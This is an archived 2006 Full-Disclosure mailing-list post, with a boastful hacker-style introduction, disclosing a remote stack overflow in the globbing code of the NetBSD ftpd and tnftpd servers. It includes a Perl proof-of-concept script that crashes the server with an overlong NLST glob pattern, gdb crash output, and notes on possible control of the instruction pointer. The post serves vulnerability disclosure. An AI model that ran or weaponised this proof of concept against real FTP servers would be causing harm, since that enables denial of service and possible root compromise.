lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20061201002514.196150@gmx.net>
Date: Fri, 01 Dec 2006 01:25:14 +0100
From: "kcope" <kingcope@....net>
To: full-disclosure@...ts.grok.org.uk
Subject: NetBSD FTPD and ports ***REMOTE ROOOOOT HOLE***

LAMERZ!!!!!
KEEP ON HACKING!!! KEEP THAT *FUCK*ING PRIVATE!!!

Greetings to the elite guys, thank you for your time.

signed,
***eliteboy***

$$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$

About

tnftpd is a port of the NetBSD FTP server to other systems.
It offers many enhancements over the traditional BSD ftpd,
including per-class configuration directives via ftpd.conf(5),
RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
transfer rate throttling, and more.
tnftpd was formerly known as lukemftpd,
and earlier versions are present in Mac OS X 10.2 (as ftpd)
and FreeBSD 5.0 (as lukemftpd). 

Description

The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
which can lead to a root compromise.

The bug is in glob.c file. The globbing mechanism is flawed as back in
2001.

To trigger the overflow you can create a folder and use the globbing
special characters (like STARS) to overflow an internal stack based buffer.
Example PoC:
---snip---
use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                              PeerPort => '21',
                              Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
	print;	
}
---snip---

gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00410041 in ?? ()
(gdb)




tnftpd-20040810 behaves similar.
FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
however they could have the same bug, because of the same
codebase.

The problem when exploiting this kind of bug is,
that we can only control 0x00410041, not the whole
32 bit. However it looks feasible to find a way
to do a hole EIP redirection and/or exploit
the bug the "unicode" way, which could be especially
hard on BSD systems.

-- 
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! 
Ideal für Modem und ISDN: http://www.gmx.net/de/go/smartsurfer

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ